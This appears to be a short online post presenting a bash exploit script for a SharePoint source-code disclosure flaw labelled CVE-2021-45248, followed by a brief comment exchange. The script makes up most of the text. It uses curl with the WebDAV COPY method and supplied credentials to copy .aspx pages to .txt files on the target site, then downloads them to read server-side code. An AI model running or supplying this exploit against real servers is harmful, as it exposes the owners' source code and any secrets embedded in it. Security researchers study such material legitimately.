Sharepoint CVE-2021-45248 exploitation

download_source_code.sh

#$1 file with links retrieved by the history ending in .aspx
# also try filename.cs.aspx 

i=0 

mkdir out 

for l in $(cat $1) 

do 

    i=$((1+$i)) 

    #copy the file from aspx to txt 

   curl -X COPY "$l" --ntlm --negotiate -u "<credentials>" -H "Destination:    /<path of the site>/Hometest"$i".txt" -k -x http://127.0.0.1:8080 

 

#get the content and save 

curl "https://<targetsite>/Hometest$i.txt"  -o  ./out/$i.txt -k --ntlm --negotiate -u  "<credentials>"  -x http://127.0.0.1:8080 

done 

Can you provide more information on what the actual vulnerability is here?

Can you provide more information on what the actual vulnerability is here?

When the copy or move option is enabled you can copy .aspx files to txt

Then see that to perform a source code disclosure